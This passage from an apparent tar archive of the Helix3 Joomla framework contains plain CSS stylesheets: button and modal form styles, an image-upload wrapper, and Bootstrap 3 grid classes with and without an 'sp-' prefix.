  margin-top: -5px;
}
.sp-modal .radio-inline,
.sp-modal .checkbox-inline {
  display: inline-block;
  padding-left: 20px;
  margin-bottom: 0;
  font-weight: normal;
  vertical-align: middle;
  cursor: pointer;
}
.sp-modal .radio-inline + .radio-inline,
.sp-modal .checkbox-inline + .checkbox-inline {
  margin-top: 0;
  margin-left: 10px;
}
.sp-modal input[type="radio"][disabled],
.sp-modal input[type="checkbox"][disabled],
.sp-modal .radio[disabled],
.sp-modal .radio-inline[disabled],
.sp-modal .checkbox[disabled],
.sp-modal .checkbox-inline[disabled],
.sp-modal fieldset[disabled] input[type="radio"],
.sp-modal fieldset[disabled] input[type="checkbox"],
.sp-modal fieldset[disabled] .radio,
.sp-modal fieldset[disabled] .radio-inline,
.sp-modal fieldset[disabled] .checkbox,
.sp-modal fieldset[disabled] .checkbox-inline {
  cursor: not-allowed;
}

.sp-modal .input-append .btn{
  padding: 8px 12px;
}

.sp-modal textarea{
  height: 120px;
}

/*Button*/
.sppb-btn {
  display: inline-block;
  margin-bottom: 0;
  font-weight: normal;
  text-align: center;
  vertical-align: middle;
  cursor: pointer;
  background-image: none;
  border: 1px solid transparent;
  white-space: nowrap;
  padding: 6px 12px;
  font-size: 14px;
  line-height: 1.42857143;
  border-radius: 4px;
  -webkit-user-select: none;
  -moz-user-select: none;
  -ms-user-select: none;
  user-select: none;
}
.sppb-btn:focus,
.sppb-btn:active:focus,
.sppb-btn.active:focus {
  outline: thin dotted;
  outline: 5px auto -webkit-focus-ring-color;
  outline-offset: -2px;
}
.sppb-btn:hover,
.sppb-btn:focus {
  color: #333333;
  text-decoration: none;
}
.sppb-btn:active,
.sppb-btn.active {
  outline: 0;
  background-image: none;
  -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);
  box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);
}
.sppb-btn.disabled,
.sppb-btn[disabled],
fieldset[disabled] .sppb-btn {
  cursor: not-allowed;
  pointer-events: none;
  opacity: 0.65;
  filter: alpha(opacity=65);
  -webkit-box-shadow: none;
  box-shadow: none;
}
.sppb-btn-default {
  color: #333333;
  background-color: #ffffff;
  border-color: #cccccc;
}
.sppb-btn-default:hover,
.sppb-btn-default:focus,
.sppb-btn-default:active,
.sppb-btn-default.active,
.open > .dropdown-toggle.sppb-btn-default {
  color: #333333;
  background-color: #e6e6e6;
  border-color: #adadad;
}
.sppb-btn-default:active,
.sppb-btn-default.active,
.open > .dropdown-toggle.sppb-btn-default {
  background-image: none;
}
.sppb-btn-default.disabled,
.sppb-btn-default[disabled],
fieldset[disabled] .sppb-btn-default,
.sppb-btn-default.disabled:hover,
.sppb-btn-default[disabled]:hover,
fieldset[disabled] .sppb-btn-default:hover,
.sppb-btn-default.disabled:focus,
.sppb-btn-default[disabled]:focus,
fieldset[disabled] .sppb-btn-default:focus,
.sppb-btn-default.disabled:active,
.sppb-btn-default[disabled]:active,
fieldset[disabled] .sppb-btn-default:active,
.sppb-btn-default.disabled.active,
.sppb-btn-default[disabled].active,
fieldset[disabled] .sppb-btn-default.active {
  background-color: #ffffff;
  border-color: #cccccc;
}
.sppb-btn-default .badge {
  color: #ffffff;
  background-color: #333333;
}
.sppb-btn-primary {
  color: #ffffff;
  background-color: #428bca;
  border-color: #357ebd;
}
.sppb-btn-primary:hover,
.sppb-btn-primary:focus,
.sppb-btn-primary:active,
.sppb-btn-primary.active,
.open > .dropdown-toggle.sppb-btn-primary {
  color: #ffffff;
  background-color: #3071a9;
  border-color: #285e8e;
}
.sppb-btn-primary:active,
.sppb-btn-primary.active,
.open > .dropdown-toggle.sppb-btn-primary {
  background-image: none;
}
.sppb-btn-primary.disabled,
.sppb-btn-primary[disabled],
fieldset[disabled] .sppb-btn-primary,
.sppb-btn-primary.disabled:hover,
.sppb-btn-primary[disabled]:hover,
fieldset[disabled] .sppb-btn-primary:hover,
.sppb-btn-primary.disabled:focus,
.sppb-btn-primary[disabled]:focus,
fieldset[disabled] .sppb-btn-primary:focus,
.sppb-btn-primary.disabled:active,
.sppb-btn-primary[disabled]:active,
fieldset[disabled] .sppb-btn-primary:active,
.sppb-btn-primary.disabled.active,
.sppb-btn-primary[disabled].active,
fieldset[disabled] .sppb-btn-primary.active {
  background-color: #428bca;
  border-color: #357ebd;
}
.sppb-btn-primary .badge {
  color: #428bca;
  background-color: #ffffff;
}
.sppb-btn-success {
  color: #ffffff;
  background-color: #5cb85c;
  border-color: #4cae4c;
}
.sppb-btn-success:hover,
.sppb-btn-success:focus,
.sppb-btn-success:active,
.sppb-btn-success.active,
.open > .dropdown-toggle.sppb-btn-success {
  color: #ffffff;
  background-color: #449d44;
  border-color: #398439;
}
.sppb-btn-success:active,
.sppb-btn-success.active,
.open > .dropdown-toggle.sppb-btn-success {
  background-image: none;
}
.sppb-btn-success.disabled,
.sppb-btn-success[disabled],
fieldset[disabled] .sppb-btn-success,
.sppb-btn-success.disabled:hover,
.sppb-btn-success[disabled]:hover,
fieldset[disabled] .sppb-btn-success:hover,
.sppb-btn-success.disabled:focus,
.sppb-btn-success[disabled]:focus,
fieldset[disabled] .sppb-btn-success:focus,
.sppb-btn-success.disabled:active,
.sppb-btn-success[disabled]:active,
fieldset[disabled] .sppb-btn-success:active,
.sppb-btn-success.disabled.active,
.sppb-btn-success[disabled].active,
fieldset[disabled] .sppb-btn-success.active {
  background-color: #5cb85c;
  border-color: #4cae4c;
}
.sppb-btn-success .badge {
  color: #5cb85c;
  background-color: #ffffff;
}
.sppb-btn-info {
  color: #ffffff;
  background-color: #5bc0de;
  border-color: #46b8da;
}
.sppb-btn-info:hover,
.sppb-btn-info:focus,
.sppb-btn-info:active,
.sppb-btn-info.active,
.open > .dropdown-toggle.sppb-btn-info {
  color: #ffffff;
  background-color: #31b0d5;
  border-color: #269abc;
}
.sppb-btn-info:active,
.sppb-btn-info.active,
.open > .dropdown-toggle.sppb-btn-info {
  background-image: none;
}
.sppb-btn-info.disabled,
.sppb-btn-info[disabled],
fieldset[disabled] .sppb-btn-info,
.sppb-btn-info.disabled:hover,
.sppb-btn-info[disabled]:hover,
fieldset[disabled] .sppb-btn-info:hover,
.sppb-btn-info.disabled:focus,
.sppb-btn-info[disabled]:focus,
fieldset[disabled] .sppb-btn-info:focus,
.sppb-btn-info.disabled:active,
.sppb-btn-info[disabled]:active,
fieldset[disabled] .sppb-btn-info:active,
.sppb-btn-info.disabled.active,
.sppb-btn-info[disabled].active,
fieldset[disabled] .sppb-btn-info.active {
  background-color: #5bc0de;
  border-color: #46b8da;
}
.sppb-btn-info .badge {
  color: #5bc0de;
  background-color: #ffffff;
}
.sppb-btn-warning {
  color: #ffffff;
  background-color: #f0ad4e;
  border-color: #eea236;
}
.sppb-btn-warning:hover,
.sppb-btn-warning:focus,
.sppb-btn-warning:active,
.sppb-btn-warning.active,
.open > .dropdown-toggle.sppb-btn-warning {
  color: #ffffff;
  background-color: #ec971f;
  border-color: #d58512;
}
.sppb-btn-warning:active,
.sppb-btn-warning.active,
.open > .dropdown-toggle.sppb-btn-warning {
  background-image: none;
}
.sppb-btn-warning.disabled,
.sppb-btn-warning[disabled],
fieldset[disabled] .sppb-btn-warning,
.sppb-btn-warning.disabled:hover,
.sppb-btn-warning[disabled]:hover,
fieldset[disabled] .sppb-btn-warning:hover,
.sppb-btn-warning.disabled:focus,
.sppb-btn-warning[disabled]:focus,
fieldset[disabled] .sppb-btn-warning:focus,
.sppb-btn-warning.disabled:active,
.sppb-btn-warning[disabled]:active,
fieldset[disabled] .sppb-btn-warning:active,
.sppb-btn-warning.disabled.active,
.sppb-btn-warning[disabled].active,
fieldset[disabled] .sppb-btn-warning.active {
  background-color: #f0ad4e;
  border-color: #eea236;
}
.sppb-btn-warning .badge {
  color: #f0ad4e;
  background-color: #ffffff;
}
.sppb-btn-danger {
  color: #ffffff;
  background-color: #d9534f;
  border-color: #d43f3a;
}
.sppb-btn-danger:hover,
.sppb-btn-danger:focus,
.sppb-btn-danger:active,
.sppb-btn-danger.active,
.open > .dropdown-toggle.sppb-btn-danger {
  color: #ffffff;
  background-color: #c9302c;
  border-color: #ac2925;
}
.sppb-btn-danger:active,
.sppb-btn-danger.active,
.open > .dropdown-toggle.sppb-btn-danger {
  background-image: none;
}
.sppb-btn-danger.disabled,
.sppb-btn-danger[disabled],
fieldset[disabled] .sppb-btn-danger,
.sppb-btn-danger.disabled:hover,
.sppb-btn-danger[disabled]:hover,
fieldset[disabled] .sppb-btn-danger:hover,
.sppb-btn-danger.disabled:focus,
.sppb-btn-danger[disabled]:focus,
fieldset[disabled] .sppb-btn-danger:focus,
.sppb-btn-danger.disabled:active,
.sppb-btn-danger[disabled]:active,
fieldset[disabled] .sppb-btn-danger:active,
.sppb-btn-danger.disabled.active,
.sppb-btn-danger[disabled].active,
fieldset[disabled] .sppb-btn-danger.active {
  background-color: #d9534f;
  border-color: #d43f3a;
}
.sppb-btn-danger .badge {
  color: #d9534f;
  background-color: #ffffff;
}
.sppb-btn-link {
  color: #428bca;
  font-weight: normal;
  cursor: pointer;
  border-radius: 0;
}
.sppb-btn-link,
.sppb-btn-link:active,
.sppb-btn-link[disabled],
fieldset[disabled] .sppb-btn-link {
  background-color: transparent;
  -webkit-box-shadow: none;
  box-shadow: none;
}
.sppb-btn-link,
.sppb-btn-link:hover,
.sppb-btn-link:focus,
.sppb-btn-link:active {
  border-color: transparent;
}
.sppb-btn-link:hover,
.sppb-btn-link:focus {
  color: #2a6496;
  text-decoration: underline;
  background-color: transparent;
}
.sppb-btn-link[disabled]:hover,
fieldset[disabled] .sppb-btn-link:hover,
.sppb-btn-link[disabled]:focus,
fieldset[disabled] .sppb-btn-link:focus {
  color: #777777;
  text-decoration: none;
}
.sppb-btn-lg {
  padding: 10px 16px;
  font-size: 18px;
  line-height: 1.33;
  border-radius: 6px;
}
.sppb-btn-sm {
  padding: 5px 10px;
  font-size: 12px;
  line-height: 1.5;
  border-radius: 3px;
}
.sppb-btn-xs {
  padding: 1px 5px;
  font-size: 12px;
  line-height: 1.5;
  border-radius: 3px;
}
.sppb-btn-block {
  display: block;
  width: 100%;
}
.sppb-btn-block + .sppb-btn-block {
  margin-top: 5px;
}
                                    system/helix3/assets/css/spimage.css                                                                0000705                 00000001112 15242051520 0013502 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /**
* @package Helix3 Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2017 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/
.sp-image-upload-wrapper:empty {
	display: none;
}

.sp-image-upload-wrapper {
	width: 200px;
	height: 200px;
	display: block;
	background: #f5f5f5;
	padding: 5px;
	border: 1px solid #e5e5e5;
	margin-bottom: 20px;
}

.sp-image-upload-wrapper img {
	display: block;
	height: 100%;
	width: 100%;
}

.sp-image-item-loader {
	line-height: 200px;
	text-align: center;
	font-size: 24px;
}
                                                                                                                                                                                                                                                                                                                                                                                                                                                      system/helix3/assets/css/bootstrap.css                                                              0000705                 00000053543 15242051520 0014111 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /*!
 * Bootstrap v3.1.1 (http://getbootstrap.com)
 * Copyright 2011-2014 Twitter, Inc.
 * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
 */

/*! normalize.css v3.0.0 | MIT License | git.io/normalize */
/* Bootstrap 3 class with prefix */
.sp-row * {
  -webkit-box-sizing: border-box;
  -moz-box-sizing: border-box;
  box-sizing: border-box;
}

.sp-row:before,
.sp-row:after {
  content: " ";
  display: table;
}
.sp-row:after {
  clear: both;
}

.sp-row {
  margin-left: -5px;
  margin-right: -5px;
}

.sp-col-xs-1, .sp-col-sm-1, .sp-col-md-1, .sp-col-lg-1, .sp-col-xs-2, .sp-col-sm-2, .sp-col-md-2, .sp-col-lg-2, .sp-col-xs-3, .sp-col-sm-3, .sp-col-md-3, .sp-col-lg-3, .sp-col-xs-4, .sp-col-sm-4, .sp-col-md-4, .sp-col-lg-4, .sp-col-xs-5, .sp-col-sm-5, .sp-col-md-5, .sp-col-lg-5, .sp-col-xs-6, .sp-col-sm-6, .sp-col-md-6, .sp-col-lg-6, .sp-col-xs-7, .sp-col-sm-7, .sp-col-md-7, .sp-col-lg-7, .sp-col-xs-8, .sp-col-sm-8, .sp-col-md-8, .sp-col-lg-8, .sp-col-xs-9, .sp-col-sm-9, .sp-col-md-9, .sp-col-lg-9, .sp-col-xs-10, .sp-col-sm-10, .sp-col-md-10, .sp-col-lg-10, .sp-col-xs-11, .sp-col-sm-11, .sp-col-md-11, .sp-col-lg-11, .sp-col-xs-12, .sp-col-sm-12, .sp-col-md-12, .sp-col-lg-12 {
  position: relative;
  min-height: 1px;
  padding-left: 5px;
  padding-right: 5px;
}
.sp-col-xs-1, .sp-col-xs-2, .sp-col-xs-3, .sp-col-xs-4, .sp-col-xs-5, .sp-col-xs-6, .sp-col-xs-7, .sp-col-xs-8, .sp-col-xs-9, .sp-col-xs-10, .sp-col-xs-11, .sp-col-xs-12 {
  float: left;
}
.sp-col-xs-12 {
  width: 100%;
}
.sp-col-xs-11 {
  width: 91.66666667%;
}
.sp-col-xs-10 {
  width: 83.33333333%;
}
.sp-col-xs-9 {
  width: 75%;
}
.sp-col-xs-8 {
  width: 66.66666667%;
}
.sp-col-xs-7 {
  width: 58.33333333%;
}
.sp-col-xs-6 {
  width: 50%;
}
.sp-col-xs-5 {
  width: 41.66666667%;
}
.sp-col-xs-4 {
  width: 33.33333333%;
}
.sp-col-xs-3 {
  width: 25%;
}
.sp-col-xs-2 {
  width: 16.66666667%;
}
.sp-col-xs-1 {
  width: 8.33333333%;
}
.sp-col-xs-pull-12 {
  right: 100%;
}
.sp-col-xs-pull-11 {
  right: 91.66666667%;
}
.sp-col-xs-pull-10 {
  right: 83.33333333%;
}
.sp-col-xs-pull-9 {
  right: 75%;
}
.sp-col-xs-pull-8 {
  right: 66.66666667%;
}
.sp-col-xs-pull-7 {
  right: 58.33333333%;
}
.sp-col-xs-pull-6 {
  right: 50%;
}
.sp-col-xs-pull-5 {
  right: 41.66666667%;
}
.sp-col-xs-pull-4 {
  right: 33.33333333%;
}
.sp-col-xs-pull-3 {
  right: 25%;
}
.sp-col-xs-pull-2 {
  right: 16.66666667%;
}
.sp-col-xs-pull-1 {
  right: 8.33333333%;
}
.sp-col-xs-pull-0 {
  right: auto;
}
.sp-col-xs-push-12 {
  left: 100%;
}
.sp-col-xs-push-11 {
  left: 91.66666667%;
}
.sp-col-xs-push-10 {
  left: 83.33333333%;
}
.sp-col-xs-push-9 {
  left: 75%;
}
.sp-col-xs-push-8 {
  left: 66.66666667%;
}
.sp-col-xs-push-7 {
  left: 58.33333333%;
}
.sp-col-xs-push-6 {
  left: 50%;
}
.sp-col-xs-push-5 {
  left: 41.66666667%;
}
.sp-col-xs-push-4 {
  left: 33.33333333%;
}
.sp-col-xs-push-3 {
  left: 25%;
}
.sp-col-xs-push-2 {
  left: 16.66666667%;
}
.sp-col-xs-push-1 {
  left: 8.33333333%;
}
.sp-col-xs-push-0 {
  left: auto;
}
.sp-col-xs-offset-12 {
  margin-left: 100%;
}
.sp-col-xs-offset-11 {
  margin-left: 91.66666667%;
}
.sp-col-xs-offset-10 {
  margin-left: 83.33333333%;
}
.sp-col-xs-offset-9 {
  margin-left: 75%;
}
.sp-col-xs-offset-8 {
  margin-left: 66.66666667%;
}
.sp-col-xs-offset-7 {
  margin-left: 58.33333333%;
}
.sp-col-xs-offset-6 {
  margin-left: 50%;
}
.sp-col-xs-offset-5 {
  margin-left: 41.66666667%;
}
.sp-col-xs-offset-4 {
  margin-left: 33.33333333%;
}
.sp-col-xs-offset-3 {
  margin-left: 25%;
}
.sp-col-xs-offset-2 {
  margin-left: 16.66666667%;
}
.sp-col-xs-offset-1 {
  margin-left: 8.33333333%;
}
.sp-col-xs-offset-0 {
  margin-left: 0%;
}
@media (min-width: 768px) {
  .sp-col-sm-1, .sp-col-sm-2, .sp-col-sm-3, .sp-col-sm-4, .sp-col-sm-5, .sp-col-sm-6, .sp-col-sm-7, .sp-col-sm-8, .sp-col-sm-9, .sp-col-sm-10, .sp-col-sm-11, .sp-col-sm-12 {
    float: left;
  }
  .sp-col-sm-12 {
    width: 100%;
  }
  .sp-col-sm-11 {
    width: 91.66666667%;
  }
  .sp-col-sm-10 {
    width: 83.33333333%;
  }
  .sp-col-sm-9 {
    width: 75%;
  }
  .sp-col-sm-8 {
    width: 66.66666667%;
  }
  .sp-col-sm-7 {
    width: 58.33333333%;
  }
  .sp-col-sm-6 {
    width: 50%;
  }
  .sp-col-sm-5 {
    width: 41.66666667%;
  }
  .sp-col-sm-4 {
    width: 33.33333333%;
  }
  .sp-col-sm-3 {
    width: 25%;
  }
  .sp-col-sm-2 {
    width: 16.66666667%;
  }
  .sp-col-sm-1 {
    width: 8.33333333%;
  }
  .sp-col-sm-pull-12 {
    right: 100%;
  }
  .sp-col-sm-pull-11 {
    right: 91.66666667%;
  }
  .sp-col-sm-pull-10 {
    right: 83.33333333%;
  }
  .sp-col-sm-pull-9 {
    right: 75%;
  }
  .sp-col-sm-pull-8 {
    right: 66.66666667%;
  }
  .sp-col-sm-pull-7 {
    right: 58.33333333%;
  }
  .sp-col-sm-pull-6 {
    right: 50%;
  }
  .sp-col-sm-pull-5 {
    right: 41.66666667%;
  }
  .sp-col-sm-pull-4 {
    right: 33.33333333%;
  }
  .sp-col-sm-pull-3 {
    right: 25%;
  }
  .sp-col-sm-pull-2 {
    right: 16.66666667%;
  }
  .sp-col-sm-pull-1 {
    right: 8.33333333%;
  }
  .sp-col-sm-pull-0 {
    right: auto;
  }
  .sp-col-sm-push-12 {
    left: 100%;
  }
  .sp-col-sm-push-11 {
    left: 91.66666667%;
  }
  .sp-col-sm-push-10 {
    left: 83.33333333%;
  }
  .sp-col-sm-push-9 {
    left: 75%;
  }
  .sp-col-sm-push-8 {
    left: 66.66666667%;
  }
  .sp-col-sm-push-7 {
    left: 58.33333333%;
  }
  .sp-col-sm-push-6 {
    left: 50%;
  }
  .sp-col-sm-push-5 {
    left: 41.66666667%;
  }
  .sp-col-sm-push-4 {
    left: 33.33333333%;
  }
  .sp-col-sm-push-3 {
    left: 25%;
  }
  .sp-col-sm-push-2 {
    left: 16.66666667%;
  }
  .sp-col-sm-push-1 {
    left: 8.33333333%;
  }
  .sp-col-sm-push-0 {
    left: auto;
  }
  .sp-col-sm-offset-12 {
    margin-left: 100%;
  }
  .sp-col-sm-offset-11 {
    margin-left: 91.66666667%;
  }
  .sp-col-sm-offset-10 {
    margin-left: 83.33333333%;
  }
  .sp-col-sm-offset-9 {
    margin-left: 75%;
  }
  .sp-col-sm-offset-8 {
    margin-left: 66.66666667%;
  }
  .sp-col-sm-offset-7 {
    margin-left: 58.33333333%;
  }
  .sp-col-sm-offset-6 {
    margin-left: 50%;
  }
  .sp-col-sm-offset-5 {
    margin-left: 41.66666667%;
  }
  .sp-col-sm-offset-4 {
    margin-left: 33.33333333%;
  }
  .sp-col-sm-offset-3 {
    margin-left: 25%;
  }
  .sp-col-sm-offset-2 {
    margin-left: 16.66666667%;
  }
  .sp-col-sm-offset-1 {
    margin-left: 8.33333333%;
  }
  .sp-col-sm-offset-0 {
    margin-left: 0%;
  }
}
@media (min-width: 992px) {
  .sp-col-md-1, .sp-col-md-2, .sp-col-md-3, .sp-col-md-4, .sp-col-md-5, .sp-col-md-6, .sp-col-md-7, .sp-col-md-8, .sp-col-md-9, .sp-col-md-10, .sp-col-md-11, .sp-col-md-12 {
    float: left;
  }
  .sp-col-md-12 {
    width: 100%;
  }
  .sp-col-md-11 {
    width: 91.66666667%;
  }
  .sp-col-md-10 {
    width: 83.33333333%;
  }
  .sp-col-md-9 {
    width: 75%;
  }
  .sp-col-md-8 {
    width: 66.66666667%;
  }
  .sp-col-md-7 {
    width: 58.33333333%;
  }
  .sp-col-md-6 {
    width: 50%;
  }
  .sp-col-md-5 {
    width: 41.66666667%;
  }
  .sp-col-md-4 {
    width: 33.33333333%;
  }
  .sp-col-md-3 {
    width: 25%;
  }
  .sp-col-md-2 {
    width: 16.66666667%;
  }
  .sp-col-md-1 {
    width: 8.33333333%;
  }
  .sp-col-md-pull-12 {
    right: 100%;
  }
  .sp-col-md-pull-11 {
    right: 91.66666667%;
  }
  .sp-col-md-pull-10 {
    right: 83.33333333%;
  }
  .sp-col-md-pull-9 {
    right: 75%;
  }
  .sp-col-md-pull-8 {
    right: 66.66666667%;
  }
  .sp-col-md-pull-7 {
    right: 58.33333333%;
  }
  .sp-col-md-pull-6 {
    right: 50%;
  }
  .sp-col-md-pull-5 {
    right: 41.66666667%;
  }
  .sp-col-md-pull-4 {
    right: 33.33333333%;
  }
  .sp-col-md-pull-3 {
    right: 25%;
  }
  .sp-col-md-pull-2 {
    right: 16.66666667%;
  }
  .sp-col-md-pull-1 {
    right: 8.33333333%;
  }
  .sp-col-md-pull-0 {
    right: auto;
  }
  .sp-col-md-push-12 {
    left: 100%;
  }
  .sp-col-md-push-11 {
    left: 91.66666667%;
  }
  .sp-col-md-push-10 {
    left: 83.33333333%;
  }
  .sp-col-md-push-9 {
    left: 75%;
  }
  .sp-col-md-push-8 {
    left: 66.66666667%;
  }
  .sp-col-md-push-7 {
    left: 58.33333333%;
  }
  .sp-col-md-push-6 {
    left: 50%;
  }
  .sp-col-md-push-5 {
    left: 41.66666667%;
  }
  .sp-col-md-push-4 {
    left: 33.33333333%;
  }
  .sp-col-md-push-3 {
    left: 25%;
  }
  .sp-col-md-push-2 {
    left: 16.66666667%;
  }
  .sp-col-md-push-1 {
    left: 8.33333333%;
  }
  .sp-col-md-push-0 {
    left: auto;
  }
  .sp-col-md-offset-12 {
    margin-left: 100%;
  }
  .sp-col-md-offset-11 {
    margin-left: 91.66666667%;
  }
  .sp-col-md-offset-10 {
    margin-left: 83.33333333%;
  }
  .sp-col-md-offset-9 {
    margin-left: 75%;
  }
  .sp-col-md-offset-8 {
    margin-left: 66.66666667%;
  }
  .sp-col-md-offset-7 {
    margin-left: 58.33333333%;
  }
  .sp-col-md-offset-6 {
    margin-left: 50%;
  }
  .sp-col-md-offset-5 {
    margin-left: 41.66666667%;
  }
  .sp-col-md-offset-4 {
    margin-left: 33.33333333%;
  }
  .sp-col-md-offset-3 {
    margin-left: 25%;
  }
  .sp-col-md-offset-2 {
    margin-left: 16.66666667%;
  }
  .sp-col-md-offset-1 {
    margin-left: 8.33333333%;
  }
  .sp-col-md-offset-0 {
    margin-left: 0%;
  }
}
@media (min-width: 1200px) {
  .sp-col-lg-1, .sp-col-lg-2, .sp-col-lg-3, .sp-col-lg-4, .sp-col-lg-5, .sp-col-lg-6, .sp-col-lg-7, .sp-col-lg-8, .sp-col-lg-9, .sp-col-lg-10, .sp-col-lg-11, .sp-col-lg-12 {
    float: left;
  }
  .sp-col-lg-12 {
    width: 100%;
  }
  .sp-col-lg-11 {
    width: 91.66666667%;
  }
  .sp-col-lg-10 {
    width: 83.33333333%;
  }
  .sp-col-lg-9 {
    width: 75%;
  }
  .sp-col-lg-8 {
    width: 66.66666667%;
  }
  .sp-col-lg-7 {
    width: 58.33333333%;
  }
  .sp-col-lg-6 {
    width: 50%;
  }
  .sp-col-lg-5 {
    width: 41.66666667%;
  }
  .sp-col-lg-4 {
    width: 33.33333333%;
  }
  .sp-col-lg-3 {
    width: 25%;
  }
  .sp-col-lg-2 {
    width: 16.66666667%;
  }
  .sp-col-lg-1 {
    width: 8.33333333%;
  }
  .sp-col-lg-pull-12 {
    right: 100%;
  }
  .sp-col-lg-pull-11 {
    right: 91.66666667%;
  }
  .sp-col-lg-pull-10 {
    right: 83.33333333%;
  }
  .sp-col-lg-pull-9 {
    right: 75%;
  }
  .sp-col-lg-pull-8 {
    right: 66.66666667%;
  }
  .sp-col-lg-pull-7 {
    right: 58.33333333%;
  }
  .sp-col-lg-pull-6 {
    right: 50%;
  }
  .sp-col-lg-pull-5 {
    right: 41.66666667%;
  }
  .sp-col-lg-pull-4 {
    right: 33.33333333%;
  }
  .sp-col-lg-pull-3 {
    right: 25%;
  }
  .sp-col-lg-pull-2 {
    right: 16.66666667%;
  }
  .sp-col-lg-pull-1 {
    right: 8.33333333%;
  }
  .sp-col-lg-pull-0 {
    right: auto;
  }
  .sp-col-lg-push-12 {
    left: 100%;
  }
  .sp-col-lg-push-11 {
    left: 91.66666667%;
  }
  .sp-col-lg-push-10 {
    left: 83.33333333%;
  }
  .sp-col-lg-push-9 {
    left: 75%;
  }
  .sp-col-lg-push-8 {
    left: 66.66666667%;
  }
  .sp-col-lg-push-7 {
    left: 58.33333333%;
  }
  .sp-col-lg-push-6 {
    left: 50%;
  }
  .sp-col-lg-push-5 {
    left: 41.66666667%;
  }
  .sp-col-lg-push-4 {
    left: 33.33333333%;
  }
  .sp-col-lg-push-3 {
    left: 25%;
  }
  .sp-col-lg-push-2 {
    left: 16.66666667%;
  }
  .sp-col-lg-push-1 {
    left: 8.33333333%;
  }
  .sp-col-lg-push-0 {
    left: auto;
  }
  .sp-col-lg-offset-12 {
    margin-left: 100%;
  }
  .sp-col-lg-offset-11 {
    margin-left: 91.66666667%;
  }
  .sp-col-lg-offset-10 {
    margin-left: 83.33333333%;
  }
  .sp-col-lg-offset-9 {
    margin-left: 75%;
  }
  .sp-col-lg-offset-8 {
    margin-left: 66.66666667%;
  }
  .sp-col-lg-offset-7 {
    margin-left: 58.33333333%;
  }
  .sp-col-lg-offset-6 {
    margin-left: 50%;
  }
  .sp-col-lg-offset-5 {
    margin-left: 41.66666667%;
  }
  .sp-col-lg-offset-4 {
    margin-left: 33.33333333%;
  }
  .sp-col-lg-offset-3 {
    margin-left: 25%;
  }
  .sp-col-lg-offset-2 {
    margin-left: 16.66666667%;
  }
  .sp-col-lg-offset-1 {
    margin-left: 8.33333333%;
  }
  .sp-col-lg-offset-0 {
    margin-left: 0%;
  }
}


/*Bootstrap 3 class without prefix*/
.row * {
  -webkit-box-sizing: border-box;
  -moz-box-sizing: border-box;
  box-sizing: border-box;
}

.row:before,
.row:after {
  content: " ";
  display: table;
}
.row:after {
  clear: both;
}

.row {
  margin-left: -5px;
  margin-right: -5px;
}

.col-xs-1, .col-sm-1, .col-md-1, .col-lg-1, .col-xs-2, .col-sm-2, .col-md-2, .col-lg-2, .col-xs-3, .col-sm-3, .col-md-3, .col-lg-3, .col-xs-4, .col-sm-4, .col-md-4, .col-lg-4, .col-xs-5, .col-sm-5, .col-md-5, .col-lg-5, .col-xs-6, .col-sm-6, .col-md-6, .col-lg-6, .col-xs-7, .col-sm-7, .col-md-7, .col-lg-7, .col-xs-8, .col-sm-8, .col-md-8, .col-lg-8, .col-xs-9, .col-sm-9, .col-md-9, .col-lg-9, .col-xs-10, .col-sm-10, .col-md-10, .col-lg-10, .col-xs-11, .col-sm-11, .col-md-11, .col-lg-11, .col-xs-12, .col-sm-12, .col-md-12, .col-lg-12 {
  position: relative;
  min-height: 1px;
  padding-left: 5px;
  padding-right: 5px;
}
.col-xs-1, .col-xs-2, .col-xs-3, .col-xs-4, .col-xs-5, .col-xs-6, .col-xs-7, .col-xs-8, .col-xs-9, .col-xs-10, .col-xs-11, .col-xs-12 {
  float: left;
}
.col-xs-12 {
  width: 100%;
}
.col-xs-11 {
  width: 91.66666667%;
}
.col-xs-10 {
  width: 83.33333333%;
}
.col-xs-9 {
  width: 75%;
}
.col-xs-8 {
  width: 66.66666667%;
}
.col-xs-7 {
  width: 58.33333333%;
}
.col-xs-6 {
  width: 50%;
}
.col-xs-5 {
  width: 41.66666667%;
}
.col-xs-4 {
  width: 33.33333333%;
}
.col-xs-3 {
  width: 25%;
}
.col-xs-2 {
  width: 16.66666667%;
}
.col-xs-1 {
  width: 8.33333333%;
}
.col-xs-pull-12 {
  right: 100%;
}
.col-xs-pull-11 {
  right: 91.66666667%;
}
.col-xs-pull-10 {
  right: 83.33333333%;
}
.col-xs-pull-9 {
  right: 75%;
}
.col-xs-pull-8 {
  right: 66.66666667%;
}
.col-xs-pull-7 {
  right: 58.33333333%;
}
.col-xs-pull-6 {
  right: 50%;
}
.col-xs-pull-5 {
  right: 41.66666667%;
}
.col-xs-pull-4 {
  right: 33.33333333%;
}
.col-xs-pull-3 {
  right: 25%;
}
.col-xs-pull-2 {
  right: 16.66666667%;
}
.col-xs-pull-1 {
  right: 8.33333333%;
}
.col-xs-pull-0 {
  right: auto;
}
.col-xs-push-12 {
  left: 100%;
}
.col-xs-push-11 {
  left: 91.66666667%;
}
.col-xs-push-10 {
  left: 83.33333333%;
}
.col-xs-push-9 {
  left: 75%;
}
.col-xs-push-8 {
  left: 66.66666667%;
}
.col-xs-push-7 {
  left: 58.33333333%;
}
.col-xs-push-6 {
  left: 50%;
}
.col-xs-push-5 {
  left: 41.66666667%;
}
.col-xs-push-4 {
  left: 33.33333333%;
}
.col-xs-push-3 {
  left: 25%;
}
.col-xs-push-2 {
  left: 16.66666667%;
}
.col-xs-push-1 {
  left: 8.33333333%;
}
.col-xs-push-0 {
  left: auto;
}
.col-xs-offset-12 {
  margin-left: 100%;
}
.col-xs-offset-11 {
  margin-left: 91.66666667%;
}
.col-xs-offset-10 {
  margin-left: 83.33333333%;
}
.col-xs-offset-9 {
  margin-left: 75%;
}
.col-xs-offset-8 {
  margin-left: 66.66666667%;
}
.col-xs-offset-7 {
  margin-left: 58.33333333%;
}
.col-xs-offset-6 {
  margin-left: 50%;
}
.col-xs-offset-5 {
  margin-left: 41.66666667%;
}
.col-xs-offset-4 {
  margin-left: 33.33333333%;
}
.col-xs-offset-3 {
  margin-left: 25%;
}
.col-xs-offset-2 {
  margin-left: 16.66666667%;
}
.col-xs-offset-1 {
